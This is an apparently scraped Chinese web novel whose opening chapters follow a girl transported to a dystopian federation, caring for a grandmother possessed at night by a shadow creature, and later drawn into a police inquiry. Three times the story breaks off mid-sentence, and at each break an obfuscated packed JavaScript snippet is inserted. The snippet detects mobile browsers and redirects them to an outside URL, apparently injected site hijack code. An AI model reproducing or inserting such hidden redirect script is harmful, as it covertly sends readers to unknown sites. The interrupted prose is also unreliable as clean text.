《她当小强一直可以的》 1. 惹不起的怪物 “轰隆——” 霓虹忽地在黑夜里瞪圆了双眼。 她翻身坐起,不顾骤然起身、大脑缺血的眩晕,慌忙下床跑到隔壁,拖鞋都只来得及穿上一只。 果不其然,厨房那两扇破旧的木制对开窗正在风雨中吱呀摇曳,一副快要散了骨架的模样。她轻叹口气,用布条缠绕住两个把手,狠狠一勒,把末端绑到了厨房里还算坚固的钢制粗水管上。 晚上做饭时她在橱柜里翻找出一袋腐烂的面粉,一团团的黑绿色霉菌在其中肆意生长。她怕这股霉味儿“惊动”了家里其它的食材,特意打开窗通通风。 却偏偏赶上了夜降骤雨。 确认窗户合紧、微小缝隙流出来的雨水也不会湿了台面上堆放的蔬果,霓虹才放下心来。她刚要回屋接着补眠,一转身却被客厅里无声出现的庞然黑影吓得汗毛竖起。 其实也算不上客厅,从防盗门到霓虹的卧室,不过两三步的距离,其间还要经过一间窄小的厨房。但霓虹还是好好布置了下这块四五平方的空地,甚至还像模像样地铺了几块地板。 “轰隆——” 又一阵雷声响起,闪电带来的片刻明亮,让她看清了黑影的来源。 “奶奶?” 霓虹轻唤着,身体却僵硬在原地未动。她没穿拖鞋的那只脚,在此刻感受到了来自地面的刺骨冷意。明明墙上的电灯开关近在咫尺,她却没敢触碰。 那黑影顶端的头部动了动,而后夸张地歪向一侧,像在审视。 霓虹吞了口口水,下意识抬起双手。窗外稀薄月光下,能隐约看清她浑身正控制不住地哆嗦。 像是觉得无趣,那黑影忽然调转了方向,操纵着身下的轮椅,吱嘎吱嘎地压过地板,回了自己的房间。这声音极其刺耳,就算窗外电闪雷鸣也听得清楚。 那它是怎么从屋里出来的? 不敢深思,霓虹飞快跑回屋内,反手锁上了门。心跳如擂鼓,霓虹也是躺下后才发现,自己后背满是细密的汗,让皮肤紧紧贴上了粗糙的布料。 墙上的时钟显示两点刚过五分,可她却再无睡意,干瞪着眼躺到了天亮雨停。 …… 六点闹钟一响,霓虹长长出了口气。她利落起床换好了校服,束起马尾,从床底拖出装着牙刷和香皂的塑料盆。路过厨房时她将牙刷在盐盒里蘸了蘸,推门出去,到邻居家院里的水龙头下开始洗漱。 “天天起那么早要死啊!”头顶的窗内传来高亢的咒骂。霓虹不以为然,从容地接了盆水放在木凳上,弯下腰把整张脸都浸到了水里。 呼。 没有毛巾。她仰起头,抬手胡乱抹了把脸上的水,任由水滴蜿蜒而下,淌进领口。 这是她穿越到异世界的第368天。 这里的计时方式同她原本的世界一样。她还记得一年前突然穿越到这里,一瞬间还以为是自己死后的美好幻想——是的,她不可能再回到原来那个世界,因为自己在穿越前的最后一刻,已经死了。 她意外来到这里,却遗忘了过去自己的身世,像是被系统强行替换了人格。她不记得自己从前的名字,只知道现在她叫霓虹,16岁,无父无母,住在联邦824号居民地,身份是三级合法公民。她就读于当地一所慈善高中,唯一的在户亲人是家里半瘫的奶奶,没有朋友,没有存款,没有任何异能。 她生活窘迫,甚至可以说是苟且偷生。联邦严禁雇佣童工,她只能靠典当物品和奶奶每月两百星币的残疾人救助金来谋生。 所幸这里的太阳依旧温暖,依旧在毫不吝啬地照耀大地,去除黑暗。 清晨的阳光最为温柔,她抬眼直视,浑身的疲惫一扫而空。她回屋熟练地拧开煤气阀门,淘米做饭,她得给自己备好一天的饭食,慈善高中虽然学费全免,饭费却是高昂。 不到七点,一名面善的瘦弱妇人推门而入。她微笑着同即将出门的霓虹打了招呼,进屋拿起扫帚就要开始收拾。 “白姨,家务不用你做。”霓虹绑着松散的鞋带,“我最近放学很早。” “哎呀,就这么大点地方。”白芳催她去上学,“马上高三了,你得多用功啊,你奶奶以后才有盼头。” 霓虹往奶奶那屋扫了眼,“那麻烦你了,白姨。” 白芳是她精挑细选的家庭护工,不是最低档的,一月得一百星币。但她仍坚持要请,因为奶奶如今的身体状况愈发差了,不知是不是“它”存在的缘故,消耗了奶奶本就不多的精气神。她仔细观察过,以早上六点、晚上九点为界限,白天的奶奶只是个普通的半瘫老人,不知是不是聋哑,反正从来没和她说过话,也没理会过她的问题。她摸过奶奶的脉搏,很微弱、缓慢,却有规律,这条生命虽不鲜活,却仍存在。 存在就有意义。 作为奶奶的唯一亲人,她必须承担起赡养的责任。哪怕她在夜晚,会被未知的恐怖生物附身。 熟练地穿过一排排低矮密集的筒子楼,霓虹轻巧地翻过护栏,绕过铁轨,来到了圣亚戈救助站的庭院。这是她摸索出的最近的步行上学道路,仅需穿过救助站,就可以看到远处通体晶蓝色外观的摩恩大楼,再以此为坐标,一路横穿各色建筑和主路,直达摩恩大楼背侧的联邦824号居民地核心生存区,慈善高中正建在核心区北侧的坡上。 全程大约需要一个半小时。 虽然横穿马路被严格写进普通人的交通禁令里,但她为了省下每天二十星币的路费,综合考虑了安全、个人体能和性价比,还是选择步行上学。她不怕那些飞天摩托上的警察,毕竟谁会跟一个贫困潦倒、外表看起来乖巧无辜的高中生较劲呢? 她只是穷和不怕死罢了。 在霓虹看来,这里的道路和记忆中的概念不同,不是一条宽直的水泥或沥青浇筑的马路,而是一个圆形的透明通道,有点像以前的海底隧道。这可能与联邦最新的交通工具形式有关,已经没人再驾驶仅能在陆地上缓慢启动的四轮古董,而是统一选择全自动飞车,安全、平稳、高速、操作简单,仅需输入目的地便可无处不达。唯一的缺点是飞车需要大量的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660043|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源供给,十公里就有大约五十星币的消耗。所以在霓虹生活的贫民窟,步行和乘坐慢悠悠、味道恶臭的公共飞车依旧是大家出门的首选。 等她浑身热气腾腾地走进教室,第一堂课的授课老师已经站上讲台。 霓虹弓着身子,尽量压低存在感,走向自己后排靠窗的座位。她的同桌是个留着寸头的男孩儿,正一脸鄙夷地看着她靠近,甚至不自觉地歪了半边身子。 她没理会,坐好翻出书本和笔,投入状态开始听讲。 慈善高中一共教授八门课程,分别是语言、数学、科学、法律基础、人文、机械制造、体育和生物学。霓虹还记得自己之前生活在人口繁密的高考大省,她的成绩一直在中游徘徊,但就目前联邦的课程难度来看,高中才勉强到她曾经初中学习的水平。很难想象在一个科技发达到一根疗愈针剂可以广谱治疗80%人类疾病、漫天飞车狂奔的未来世界里,文化教育却退步了一大截。 除了机械制造和生物学,她还算游刃有余。 一堂课三十分钟。下课铃声一响起,她的同桌就飞速逃离了座位,就好像她是什么会传染人的病毒。 她的汗还没退。校服质量一般,领口的布料稍厚一些,沾上汗水蹭过皮肤有些粘腻。她大咧咧地解开两个塑料纽扣,揪起那块布料快速扇动透气。 教室里另一个角落,有一个女生正因为她的这番动作,忽地屏住了气,脸颊通红,心跳加快。 霓虹察觉到了什么,飞快抬眼扫过去。她募地双眼瞪大,两手交握捂住胸口。 可爱的怪胎。 不过霓虹没那个闲工夫社交。她飞快写着老师刚布置下的数学作业,思维连贯,笔尖飞速划过纸面。慈善学校的课业并不繁重,但她仍旧争分夺秒,毕竟她回到家就将近七点,九点前必须关灯,这是家中不可撼动的原则。 “霓虹!”后门突然传来一声叫喊,“徐老师叫你去她办公室。” 课间沸腾喧闹的教室忽地安静。走廊外仍是人声鼎沸,高二8班的教室却如同被按下了暂停键。众人齐刷刷地噤声,看向教室后排那神情有些烦躁的某人。 被注视的霓虹像是浑然不觉。她合上作业本,双眉轻皱着起身。她被分到后排并不是受人排挤的缘故,而是她的身高实在不像贫民窟里营养不良的那群人,足有一米七八,几乎超过了班里大部分男生。 她快步走出教室,一路上看到她的人纷纷闪身到墙边,主动为她开出一条路来。她见怪不怪,走上楼梯,停在了教师办公室的门前。 她左右摇晃了下僵硬的颈椎,轻叩了三下房门。 “请进。”里面温和女声响起,霓虹推门而入,却发现屋内只有徐妍一人。 她扫过空荡而凌乱的办公室,最终把视线汇聚在倚墙而立的徐妍身上。 “我把他们都支走了。”徐妍笑着开口解释。 霓虹扯嘴冷笑。徐妍不过是给这帮四散而逃的人找了个台阶下,因为她在学校里有个师生们人尽皆知的外号,叫惹不起的怪物。 2. 糟糕的天气 不过徐妍不怕她。 “什么事?”霓虹冷冰冰地开口。她不想和这个学校的任何人产生不必要的联系。 “哦,你的体育老师给我发了小测的成绩。”徐妍作为班主任,还是对她颇为关心,“你短跑成绩优秀,我们有意推荐你,去参加全联邦组织的中学生田径赛事。” “不去。” 霓虹目的很明确,她坚持来慈善学校,是因为联邦大多数工作应聘都需要高中以上学历。她没心情去参加什么哗众取宠的比赛,以她对这个世界的了解,平民们的各类团体赛事,包括高中毕业后的升学考试,都是为了筛选出最优基因,统一送往联邦五大区,光荣地成为某种“养料”,进行人体改造实验。 虽然她不清楚在原先自己生活的世界里,有没有这种泯灭人性的实验,但在这里,所有的黑暗和腌臜都公开透明地铺展在人们面前。甚至在她所生活地、贫瘠的联邦824号居民区,只有少数人会被选拔成为“光荣”的一员,人们都纷纷向往被选中。就连家里的护工白姨,都暗暗鼓励她走上这条道路。 整个世界都扭曲而变态。 当然,去五大区有一点好处,那就是联邦法案里有明文条例:被选拔到五大区的人才,剩余家庭成员可以搬迁至前百号居民生存区,享受免费的医疗、教育和安全保护。而据她所知,还会有一笔额外的、不菲的抚恤金发放,因为进入五大区的人,都再没机会能走出来。 “这可能是你最后进入五大区的机会了。”徐妍上下打量着霓虹,像在看一个叛逆期的孩子,“你的家庭情况我有所了解,如果你只满足于现状,甚至连你奶奶后续的丧葬费用都负担不起。” 联邦824号居民区的普通人,在高中毕业后会流入劳务市场,从事搬运、维修、运输等基础劳力工作。其他的教师、医护人员、档案管理员等更高级别的工作,则至少需要大学学历。联邦大学的入学标准很苛刻,除了好成绩和强健的体魄,还需要三十万星币的入学费用。而普通家庭一年的劳务收入,也仅仅在两到三万左右。不少父母为了孩子的前途,不惜贷款供孩子上大学,哪怕这个世界的贷款是以生命为代价。 霓虹觉得他们很可笑。拼尽所有,去给五大区的权贵们当狗,接受改造后人不人鬼不鬼地活着,听起来就像爱扑火的飞蛾。 “我不去。没什么别的事,我先回教室了。”霓虹再次出言拒绝。 徐妍嘴张了张,终究还是没说什么,摆摆手让她离开了。作为来自五大区家族的权贵之女,徐妍是参加了育苗计划,来824号居民区支教历练,这在最近几年颇为流行。可即便在五大区的贵族学校里,徐妍也没见过像霓虹这样的小姑娘,明明一无所有、家境贫寒到她都想违背原则自掏腰包资助,脾气却傲得不行,一副你要敢惹我,我就干死你的架势。 “对了,徐老师。”霓虹手握着门把手,侧过半张晦暗不明的脸,“我不去参加比赛,更不会念大学,所以请不要再费心思劝说。” 门关上许久,徐妍无奈摇了摇头,心里却把这话听了进去。 霓虹再次回到班里,人群又忽地一静。她旁若无人地回到位置,重新翻开作业本,唰唰唰写了起来。她没有减慢下笔的速度,思绪却不免被徐妍的话带跑。 其实早在半年前,她就找好了毕业后想要从事的职业——垃圾运输工人。她在回家沿途正好路过一家劳务公司,翻看过大厅架子上的岗位宣传手册。垃圾运输工人属于Ⅱ级工种,既不繁重,薪水也还算可观,一月大概三千星币,只不过运输时要和成吨的垃圾共处一间车厢,忍耐极其刺鼻的恶臭,不少垃圾运输员都会留下嗅觉失灵的后遗症,所以岗位竞争也相对要小。 她都算好了,先干三年运输员,攒钱租套离核心区近一些的公寓,那里环境能稍微好些;再找时间考个垃圾管理员证书,争取到垃圾处理厂工作,薪水又能上一个台阶。到时候别说奶奶的医疗和丧葬费,自己也能活得更舒适、更体面。 下午第二节课伊始,窗外突然下起淅淅沥沥的小雨。霓虹搁下笔,静静看着雨点扑向玻璃,进而晕开、蜿蜒成水渍,忽地感到有些头疼。 她没带雨具。 联邦似乎遭受过严重的污染,雨水都带有淡淡酸性。霓虹试过在雨中不穿戴雨具奔跑,后果是头发打成了难解的结,衣服上的纤维都要和皮肤融化在一起,像个难剥皮的烤虾。 放学铃声响起。大部分学生都在校门口乘坐飞车回家,不需要在雨中徒步。霓虹绕到食堂大厅,找到了角落里的自动贩卖机。 一套最基本的雨具,包含一件一次性雨衣、一顶雨帽和一双雨靴,就需要八十星币。她再次望向窗外,雨点更加密集,如果这样贸然闯出去,恐怕这身衣服就别想要了。 她正纠结,身后的楼梯上突然传来一声弱弱的询问:“你……需要雨具吗?” 霓虹回过头。 楼梯上是那个课间看着她脸红的怪胎。她正怯怯地举着一包未拆封的雨具,朝她走来。 她眯眯眼,朝她走过去,语气不善地回应:“你怎么知道我需要雨具?” “我,我看你都是走回家。”她支吾着,声音随着霓虹的靠近越来越弱小,“本,本来我是想,想问你一道题。不是跟踪你,你走得太快了。” 问题?她又不是什么榜上有名的学霸。这借口太扯淡,但她没拆穿。至于跟踪……她看着对方矮她两头的身高,巴掌大的小脸上满是怯懦,倒是不可能带有恶意。 霓虹从她手里接过雨具,“谢了。明天还你。” “我,我叫全盈!”她突然紧步追上自己,像是抓紧这次难得的机会,“我其实想说,你,你很厉害,你是我的偶像!” 偶像??? 霓虹诧异地停住脚步,满脸疑惑地看向身侧的全盈。结果对方完全承不住她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660044|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直视的目光,扔下这番话,像只番茄一样通红着脸,慌乱地跑开了。 什么怪人。霓虹在嘴里嘟囔了句。 …… 霓虹到家时,白姨正神色焦虑地守在门口。其实她支付的护工费用,只够每天十小时的工时,但白姨都会等自己回来再离开,非常的善良负责。 “路上有积水,小心。”霓虹提醒了句。 “欸,好嘞。”见她进屋,白芳很快穿好雨具,推门走入了浓浓夜色中。 奶奶正躺在里屋闭目休息。厨房里传来一阵油脂的香气,霓虹贪婪地嗅闻着,大步过去掀开锅盖,里面是一碗热乎乎的萝卜炖肉。萝卜来源于窗台上根部发黑的囤货,至于肉,肯定是白芳偷偷从家里带来的。她按时会炖肉给霓虹补身体,她长得太快,这个年纪营养要是跟不上,会犯难熬的骨痛病。 白芳也来自贫民窟,她连高中都没念过,只能接一些护工等伺候人的活儿,加上补贴,一月也才不到一千星币。但她的孩子很出色,是824号居民区警署的一级警官,月薪过万,所以生活还算滋润。她选择照顾霓虹和老太太,其实是出于可怜的心思,因为这一老一少过得实在艰辛。 霓虹就站在灶台前,配着馒头,大口吃下炖肉。奶奶身体虚弱,平日只能吃流食和菜汤,自己也就跟着对付,一碗白米饭配酱菜足以果腹。 真香啊,真想每天吃肉。 荒谬的念头一闪而过。霓虹快速恢复冷静,洗了碗筷,准备抓紧时间完成剩下的作业,再温习一遍功课。 呯。 尽管窗外雨声未歇,霓虹还是敏锐地捕捉到了家中细微的声响,就像是轮胎扎破瞬间撒气的声音。突然,头顶的灯光忽地熄灭,屋内顿时陷入一片黑暗。 霓虹屏住呼吸,转过身来,后背贴紧墙壁。她能感受到黑暗里,有什么东西正在缓慢地移动,朝她靠近。 明明还不到七点,怎么会…… 她不敢闭眼,甚至瞪得更大了些,试图快速适应眼前的黑暗。等到橱柜和门框在视野里轮廓逐渐清明,她飞速扫过门口和客厅。 空无一物。 她本预想着,“它”的体型应该挤不过厨房狭窄的木框门。方才那声音很近、很轻,像紧贴耳廓的喘息,也许“它”就在厨房门口守着她,像猛兽在狩猎前会安静地端详猎物。可门口和客厅却空荡得可怕,仿佛一切都只是她的幻觉。 等等——霓虹感知着“它”的存在。 不,不对。 头顶传来了异样的湿濡。她穿了雨具,回家途中并未淋湿发顶,此刻却感到头上有一团阴飕飕、带着凉意的水汽,逐渐压迫下来。她下意识仰起头,一团浓稠、翻滚的黑雾正吸附在厨房棚顶,隐约像个模糊的人形。“它”的四脚踩在棚顶,身子扭曲成诡异的角度,那近似头颅的部分低垂,离她的鼻尖不过两三公分距离。 “它”,似乎长大了。 3. 诡异黑影(一) “还你。” 霓虹一早踏入教室,将塑料袋包裹着的干净雨具扔给座位上的全盈。 “哇。”全盈小小惊叹一声,整个人瞬间红温。 她不顾周围人诧异、嫌恶的目光,飞快揭开袋子,用手指轻柔地抚摸着雨衣上被穿出的细微褶皱,忽地又像想起了什么,赶紧束好袋口,将塑料袋藏进了桌洞的最深处。 等回家后,她要细细地“品味”一番。 霓虹没理会她的行为带来的小型嘈杂。她昨晚没完成作业,更没休息好,神色恹恹。同桌仍旧夸张地朝远离自己的方向歪过身去,一双眼却在她背后满是打量。 她募地偏头对上他的视线。 那男生被吓了个激灵,身子一抖,滑稽地随着凳子一起歪倒在地。 弱鸡。 霓虹看着自己空白的物理小卷,快速翻到背面,直接看最后两道大题。经典的力学分析,很笼统,只让标注出受力作用点,再结合题干里像是恨不得直接标出答案的前提条件,简单计算出小球从坡顶下落的时间。 有点像自己初二刚接触物理时的简单例题。 这作业不写也罢。 她笔一扔,双肘撑在桌沿,两只手掌覆盖在脸上,来回搓动。昨晚她噩梦不断,或者说,从“它”打破长久以来的原则、对她表现出浓烈好奇开始,她的精神一直高度紧绷,仿佛直面恶魔后受到了严重的摧残。 霓虹并不知道,“它”的存在是否被她人知晓。若放在从前的世界,有人和她描述起昨晚的景象,霓虹只会觉得这人想象力过于丰富。 或者纯粹是个疯子。 记忆回溯—— 霓虹初到异世界时,会时而庆幸命运的馈赠。毕竟只有经历过死亡,才能真正懂得生命的珍贵。 所以即便她“投胎”到了在贫民窟里都算得上落魄的家庭,穷到水龙头都得厚着脸皮蹭邻居的来使,她也在积极乐观地生活,甚至偶尔觉得,之前的死亡只是她的一场噩梦,她只是长眠了许久,在未来世界的某一刻苏醒。 直到她在某天夜晚,看到奶奶如同傀儡般被那覆着灰雾、像一团沥青般的黑暗怪物诡异操纵。出于人类的本能,她当即吓得冲出家门,连滚带爬地翻下门口的数节阶梯。 那是什么?……鬼? 下午她还给奶奶擦拭了身体。她的皮肤虽然粗糙干瘪、弹性不再,却还是个拥有规律心跳并且病情稳定的瘫痪老人。她曾问过圣亚戈救助站的医生,了解到像她奶奶这样的状况只需一年到核心区的正规医院复查一次,平日里按时注射营养针,基本没什么大碍。 难道是被什么附身了?恶灵骑士? 她遏制住其强烈的、想要闭眼的冲动,抬头去看那正在门口直视她的怪物。“奶奶”的瞳仁变成了被诅咒般的全黑,身形因那黑色不明物的笼罩扩大了轮廓,像个粗壮的相扑手。轮椅的一只前轮都伸出了半个,在台阶上卡成滑稽的角度,仿佛下一秒就要冲下来将她撕碎、吞入腹中。 但“它”没有。 它观望了一阵,忽地操纵着抬起奶奶的一只手臂,指向她的方向。她浑身一震,刚想迫使自己瘫软的双腿直立、跑离这个存在邪恶生物的地方,“它”就像个玩腻了游戏的孩子,突然从奶奶身上抽离,让她的头瞬间失去控制地倒向一侧,身体也松散了下来。霓虹眼睁睁看着一团蠕动的、脸盆大小的黑色“虫子”落在奶奶合拢的双腿之上,一点点钻进她的身体里,眨眼间消失不见。 霓虹反应迅速,她飞快起身,在轮椅连同上面瘫痪的奶奶一同滚落台阶之前扶住了把手,惊魂未定地将人推回屋内,抱到床上。 “它”似乎没什么攻击力。 待她心绪平定,反复确认奶奶和平常无异、已经以正常的呼吸起伏频率陷入睡眠后,她才敢回屋,躺在床上回想起刚才发生的一切。 奇怪的是,她虽然感到了无比的恐惧,甚至到现在,小腿后群肌肉的颤栗仍未停止,但她却下意识接受了“它”的存在。 这个烂世界,出现什么都不稀奇。 随着对联邦的了解,霓虹对这个异世界的看法并不乐观。这里简直是将她原本世界中的隐晦的、对于人类阶层差异的歧视无限放大。普通的联邦民众与人们口中敬畏的、甚至有些惧怕的五大国一等公民之间,隔着无法跨越的鸿沟。即便“有幸”被五大区选择,也只是供人利用的可怜虫罢了。就像联邦第824号居民区的起源只是一块流浪的地表,虽然拥有她穿越前赛博小说里才有的空中飞车、疗效逆天的药物等超现实类科技产物,但这里的教育、大部分核心区外人类的生存环境,甚至包括《联邦公民法》和各项条例,都像一道古老的枷锁,圈禁着数以万计人类的灵魂。 显而易见,有人刻意设计,或是说引导了这样的发展,甚至将这种思想根植在底层人的思维逻辑中。 当众人都背着枷锁、跪在地上匍匐前进,被鞭笞和驯化却高呼自由,那么人群中想要挣脱和反抗的人就成了异类。霓虹知道自己几斤几两,她也不是什么慈悲的救世主。 活着,比什么都重要。 …… 一根粉笔擦过耳廓,打断了她的回忆。霓虹冷冷看着台上明显有些恼怒的、头发花白的语言老师。 那老师飞快错开视线,强稳住脚跟,接着讲授枯燥无聊的课程。怪物么,就算逃她的课,她也不想招惹。都怪霓虹的同桌太夸张,都睡得打起了呼噜,她年纪大了,扔粉笔的准头难免差了些。 霓虹看了眼表。九点过十分,第二堂课都快下课。 她竟走神了这么久。 可能是精神状况太差的缘故。长久以来,霓虹自认为和“它”保持住了微妙的平衡,只要她不在夜晚肆意走动、开灯,不去理会夜半时分有节律的敲门声,“它”并不会轻易出现在她眼前。前天晚上她忙着去厨房关窗、违背了“约定”好的原则,“它”的现身可以理解;那么昨晚呢?对自己寄生家庭成员的小小恶作剧? 那怪物明显长大了三五倍不止,甚至还化成了人形。这是它本身自然生长的规律,还是因为寄生在人类身上、学习模仿她们的模样才进化成这样的? 它还会持续生长么?难道自己还要一让再让、不断更改底线,以适应它的生存么?那恐怕瘫痪的奶奶还没寿终,自己先精神失常、挥舞着厨房的菜刀自/残了。 她对它一无所知。霓虹曾搜索过各类资料,都没有相关记载。824区的信息获取来源实在有限,她一个高中生,也没有渠道去接触什么秘辛。 等等。 她脑中突然闪过,护工白姨那个引以为荣、时常挂在嘴边念叨个没完的儿子。 那位年轻有为的一级警官。 …… “白姨!白姨!”霓虹俯身钻过粗糙的木制栅栏,朝着家门大喊。 放学后,她绕到了一条平时不常走的主路,脸上故作惊慌、快速地朝家飞奔,在无数个摄像头和路过的行人眼里留下了自己仓皇而逃的模样。为了效果逼真,她甚至扯散了自己的马尾,披头散发,一边跑、一边假装在嘴里念叨着什么。 “怎么了这是?”白姨怕惊动了老太太,虚掩了门,快步迈下楼梯,搀扶住浑身发软的霓虹,“谁欺负你了?” “没、没有。”霓虹双眼空洞,快速摇头,“我,我好像,好像……” “怎么了?”白芳焦急关切地问,同时一只手伸进口袋,拨出了儿子的电话号码。霓虹在她眼里可是个小大人,比同龄人成熟很多,甚至有点冷冰冰的。她这个明显受到惊吓的样子,属实是把白芳吓到了。 “来,有什么事,跟你白哥哥说。”白芳把通讯机举到她耳边。 “喂?请问发生了什么事?” 一道低沉、富有磁性的男声在耳畔响起。霓虹抬高音调,抖着嗓子回道:“我,我好像看见鬼了!” …… 十分钟后,一辆车身标着“联邦警署”、车顶红灯闪烁的飞车停在了霓虹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660045|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家上空——门口的空地实在太窄,白恩只能让司机尽可能降低高度,放下软梯,示意霓虹爬上来。 女孩脸上还挂着清亮的泪痕,闻言懵懂地抓住了梯子的末端。 白芳安慰她说,自己会照顾好奶奶,让她放心去警署说明情况,如果查到是谁的恶作剧,白恩会狠狠惩罚对方的。 看来鬼神之说,在这样荒谬的世界仍不可信。 霓虹爬上飞车,同白恩共同坐在后排位置。他贴心地为她披上柔软的毛毯,并递给她一瓶温热的橙汁饮料。 “不要害怕。等一会儿到了警署,会有和善的阿姨询问你详细的情况。”白恩已经拜托好同事,不要将孩子带到审讯室里,就在他的办公室问话即可,“不要有负担。” “嗯。”霓虹小声、怯懦着回道,微微倾身向白恩靠近,甚至肩膀还在细微地抖动。 她这一连串的行为,来源于一段突然在脑海中清晰的、上辈子的回忆。上大学时,她某天夜跑途中,被某动漫社团装扮成恶鬼的成员吓到灵魂出窍,四肢并用地跑到保卫科说自己撞见了鬼,还惹来了警察,闹了好大一出乌龙。 但那恐惧的感觉深刻烙印,让她的表演真实逼真、出神入化。 飞车很快抵达警署楼,几人下车后,飞车自行停在了地下悬浮车位上,关闭了运行系统。白恩拉着霓虹的胳膊,和同程担任司机的实习警员一起进入电梯后,刷了下指纹,电梯平稳飞速上升,最终停在了顶楼8层。 电梯门甫一开启,此起彼伏的噪声和翻腾的热气、混杂着烟味和各种饭菜味道扑面而来。每个人似乎都在忙碌地交谈、接电话、抱着材料飞快行走,那位短暂充当了司机的警员快速融入了这个环境,小跑到自己工位,瞬间在成堆的材料里埋没了人影。 “走,我们去这边。”白恩领着她穿过走廊,逐渐远离这闹哄哄的人群。走廊两侧都是全封闭的房间,霓虹猜测可能是审讯室一类的场所,因为她隐约听到了严厉的问话。 白恩抬手在一扇磨砂玻璃门上的装置按下指纹,大门打开,到达二级以上警官的办公区域。这里安静了许多,也可能是私密性好一些,每人都有独立的办公室。 白恩领着她进入了门口挂有“白恩联邦一级警官”铭牌的办公室里,里面两个女警官早就做好准备,笑着拉霓虹到沙发上坐下,语气温和地开口:“能和我们讲讲,今天放学后的经过么?” “我……我今天心情不好,就想多绕点路,晚点回家。”霓虹慢吞吞地说着一早准备好的台词,“我经过一个公园,里面的喷泉很好看,我刚想过去就看到,看到……” 一位女警官轻拍她的后背,另一位则用鼓励的眼光看着她,希望她能勇敢说出口。 “我看到一旁树后面,有个像熊一样高大的黑影。”霓虹眼中满是恐惧,“我害怕熊,就退后了两步,结果它,它看到了我,从树后面走了出来,我才发现那根本不是熊,是个人形的鬼!它,它钻进了我的身体里!” 她面前的那个警员点点头,丝毫没有质疑她所描述的一切。她在平板上找到监控下的画面,正是她刚刚描述的公园一角,“是在这里发生的么?” 电话里,霓虹说见到鬼了之后,白恩立刻调集了今日她放学回家沿途的所有监控,并在出发前交给了负责问话的两位同事。联邦警署拥有全联邦的一切联网的影像、音频和文字资料的使用权,坦白讲只要不是私人上锁、或者故意藏匿的信息,一切的发生和存在都在他们的眼皮子底下。 “……是。”霓虹确认一眼就不忍再看,像是怕极了。 屋内三人面面相觑。白恩听着她的描述,过去翻看了霓虹出现前后的监控画面。能看出她确实被什么东西吓到了,她这个年纪,这种本能的恐慌是演不出来的。 可监控下,什么都看不到。 白恩沉思片刻,“我去出打个电话。” 通讯机内置顶的号码被播出。希望霓虹碰上的,不是他想到的那个东西。 4. 诡异黑影(二) 处理完手头的事物,季明珊打开了眼前的外卖盒。 揭开盖子,她双手合十,颇为虔诚地欣赏着盒中食物诱人的色泽和精致的摆盘,而后拿起餐具,准备朝这条新鲜烹饪的西域鬼鱼头部展开进攻。 斜插在桌子一脚的通讯机突然响了。 她深深叹了口气,放下筷子,将外卖盒推到一旁,语气颇为慵懒地接起电话。 “怎么了?”作为UMA管理局目前七位高层中拥有绝对实权的掌门人,季明珊没有人们下意识联想得那样古板严肃。相反,她喜欢穿明亮的碎花长裙配浅棕色手工皮靴,古灵精怪,还爱讲冷笑话,和整个UMA管理局死气沉沉的氛围格格不入。 但没人敢质疑她的实力——她是拥有联邦最高保护级别的“视灵者”,可以看到几乎大多数人都看不到的未知生物体,且是没经过任何机械、智能和药物改造的自然人。这份来自上天的馈赠,让她在UMA坐稳了位置。 “季局长,我是白恩。我怀疑,联邦第824号居民区出现了完全体异质。” 季明珊看了眼桌上的美味晚餐,落寞垂眸,简洁回复道:“发位置。” 没多耽误,季明珊收到消息后利落起身,披上挂在门口衣架上、出外勤专用的深蓝长袍,吩咐助理带上009号封印物,乘坐私人飞船火速从联邦第一区赶往第824号居民地。 …… 霓虹捧着路上白恩递给她的热橙汁,静静等待着消息。白恩的反应表明她所描述的东西并非臆想,而是在这个世界确有指代。而他避开自己拨打电话的行为,则证明他需要更专业、或是更高级别的人来确认他的猜想。 她像个老成的猎手,拥有足够的耐心。 如她所料,半小时后,白恩以得检查下她受惊吓后的身体和精神状况为由,将她单独带到了警署地下第32层。 这里又是一番别有洞天,就像什么科学怪人的地下实验室,洁白一片,空荡的区域里满是她看不懂的实验器材,就连门,都是明显加厚过、不知用什么金属浇筑的,看起来格外严实。 白恩刷了指纹和瞳孔双道密门,才进入一个全封闭的房间。 一个身穿藏蓝色长袍的女人,正环绕双臂,倚坐在巨大光幕前的转椅上。她翘着二郎腿,抖着脚尖,聚精会神地看着放大后的监控录像。 听到来人,她转过头,朝霓虹投来一道锐利目光。她眼眸深邃,瞳孔约是常人的两倍大,仔细看一只眼睛里,好像有两个交叠的瞳孔,中间是纯粹的黑,外缘则是稍淡一些的墨绿。这样的一双眼睛看着你时,只会觉得自己身体的每一个毛孔到体内深处的血管、神经、骨骼,甚至每一个细胞,都被她用目光细细摸了个遍。 